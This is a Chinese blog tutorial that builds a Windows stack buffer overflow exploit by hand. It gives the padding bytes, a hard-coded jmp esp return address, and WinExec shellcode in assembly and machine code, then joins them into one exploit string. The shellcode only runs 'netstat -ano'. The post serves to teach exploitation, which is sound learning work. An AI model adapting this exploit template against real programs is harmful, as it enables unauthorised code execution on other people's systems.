0x01 介绍

Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

测试环境:C-free5 + Windows10 + 2019年1月25日

0x02 测试漏洞溢出长度

1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序



2、这个程序储存test[5]这个字符串变量的栈地址是这样的



3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

  1. \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

0x03 返回地址利用

1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

  1. "\x12\x45\xfa\x7f"

0x04 编写shellcode

1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时



3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理

push ebp // 压入ebp,保存环境

mov ebp,esp // 这个不多说了吧

push eax // 预留16字节栈空间储存"netstat -ano"

push eax // push一个eax4个字节

push eax

push eax

mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”

mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”

mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”

mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”

mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”

push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)

lea eax,dword ptr ss:[ebp-0x10]

push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10

call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

4、贴出WinExec函数原型

5、对应的机器码,就是OD代码右边的东西

  1. "\x55"
  2. "\x8b\xec"
  3. "\x50"
  4. "\x50"
  5. "\x50"
  6. "\x50"
  7. "\xc6\x45\xf0\x6e"
  8. "\xc6\x45\xf1\x65"
  9. "\xc6\x45\xf2\x74"
  10. "\xc6\x45\xf3\x73"
  11. "\xc6\x45\xf4\x74"
  12. "\xc6\x45\xf5\x61"
  13. "\xc6\x45\xf6\x74"
  14. "\xc6\x45\xf7\x20"
  15. "\xc6\x45\xf8\x2d"
  16. "\xc6\x45\xf9\x61"
  17. "\xc6\x45\xfa\x6e"
  18. "\xc6\x45\xfb\x6f"
  19. "\x6a\x01"
  20. "\x8d\x45\xf0"
  21. "\x50"
  22. "\xe8\x16\x3a\xb0\x74"

0x5 组合代码形成Exploit

16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

  1. "\x41\x41\x41\x41"
  2. "\x41\x41\x41\x41"
  3. "\x41\x41\x41\x41"
  4. "\x41\x41\x41\x41"
  5. "\x41\x41\x41\x41" // 溢出代码
  6. "\x12\x45\xfa\x7f" // 返回地址
  7. "\x55" // shellcode
  8. "\x8b\xec"
  9. "\x50"
  10. "\x50"
  11. "\x50"
  12. "\x50"
  13. "\xc6\x45\xf0\x6e"
  14. "\xc6\x45\xf1\x65"
  15. "\xc6\x45\xf2\x74"
  16. "\xc6\x45\xf3\x73"
  17. "\xc6\x45\xf4\x74"
  18. "\xc6\x45\xf5\x61"
  19. "\xc6\x45\xf6\x74"
  20. "\xc6\x45\xf7\x20"
  21. "\xc6\x45\xf8\x2d"
  22. "\xc6\x45\xf9\x61"
  23. "\xc6\x45\xfa\x6e"
  24. "\xc6\x45\xfb\x6f"
  25. "\x6a\x01"
  26. "\x8d\x45\xf0"
  27. "\x50"
  28. "\xe8\x16\x3a\xb0\x74"

0x6 测试







成功运行了netstat -ano这个命令,本次学习测试到此结束

缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)的更多相关文章

  1. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  2. CSAPP 缓冲区溢出试验

    缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...

  3. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  4. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  5. CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析

    0x00概述: 此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数,而产生的缓冲区溢出,成功利 ...

  6. 缓冲区溢出利用与ShellCode编写

    一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...

  7. 缓冲区溢出利用——捕获eip的傻瓜式指南

    [译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...

  8. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  9. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

随机推荐

  1. 擅用ABAP错误捕捉,避免系统Dump

    有时候我们在写程序时,会因为计算公式不符合算术表达式,计算公式的字段值不是纯数值等等问题造成程序dump,这个时候我们在无法避免字段赋值错误的情况下,又不想程序dump可以采取catch异常的方法进行 ...

  2. 手把手教你docker安装宝塔面板

    手把手教你docker安装宝塔面板(针对小白提一下:需要先安装docker,安装docker的教程请自行百度,非常简单的),docker安装宝塔面板教程如下: 一.拉取centos镜像(当然这里拉取别 ...

  3. OpenGL光照计算中法线矩阵原理及推到过程

    问题起源 在计算漫反射关照时,需要用到法线,通过法线和光线的点乘值,计算漫反射的产生的光线强度,所以需要从顶点着色器中将法线数据传递到片源着色器中,但是片源着色器中的顶点坐标是经过了模型矩阵变化过的世 ...

  4. 【MCU】国民N32固件库移植

    目录 前言 移植N32Gxxx系列要点 前言 链接: 李柱明博客 移植AT32库&FreeRTOS教程 由于大部分国产MCU移植固件库.RTOS源码都是差不多的,所以本文不讲细节,如想熟悉移植 ...

  5. Prometheus时序数据库-报警的计算

    Prometheus时序数据库-报警的计算 在前面的文章中,笔者详细的阐述了Prometheus的数据插入存储查询等过程.但作为一个监控神器,报警计算功能是必不可少的.自然的Prometheus也提供 ...

  6. RabbitMQ 入门 (Go) - 7. 数据持久化(下)【完】

    数据库 我使用的是 PostgreSQL. 使用的驱动是 github.com/lib/pq 这个网址 https://pkg.go.dev/github.com/lib/pq 是官方文档. 创建数据 ...

  7. Dynamics CRM9.0更新了Chrome后菜单按钮变形

    前段时间Chorme更新后Dynamics CRM9.0的系统菜单样式变的很难看 具体修改方法如下: 找到Dynamics CRM安装目录C:\Program Files\Microsoft Dyna ...

  8. 简述Java多线程(二)

    Java多线程(二) 线程优先级 Java提供一个线程调度器来监控程序中启动后进入就绪状态的所有线程,线程调度器按照优先级决定应该调度哪个线程来执行. 优先级高的不一定先执行,大多数情况是这样的. 优 ...

  9. 数据库MySQL二

    注意拼接的时候如果为null则都为null 用if null 1.条件查询 2.按逻辑表达式筛选 3.模糊查询 还有not like 用转义字符\ #2.in 数值型的常量值都不用单引号,非数值型的都 ...

  10. redis的持久化有哪几种方式?不同的持久化机制都有什么优缺点?(偏难)

    1.RDB和AOF两种持久化机制的介绍 RDB持久化机制,对redis中的数据执行周期性的持久化 AOF机制对每条写入命令作为日志,以append-only的模式写入一个日志文件中,在redis重启的 ...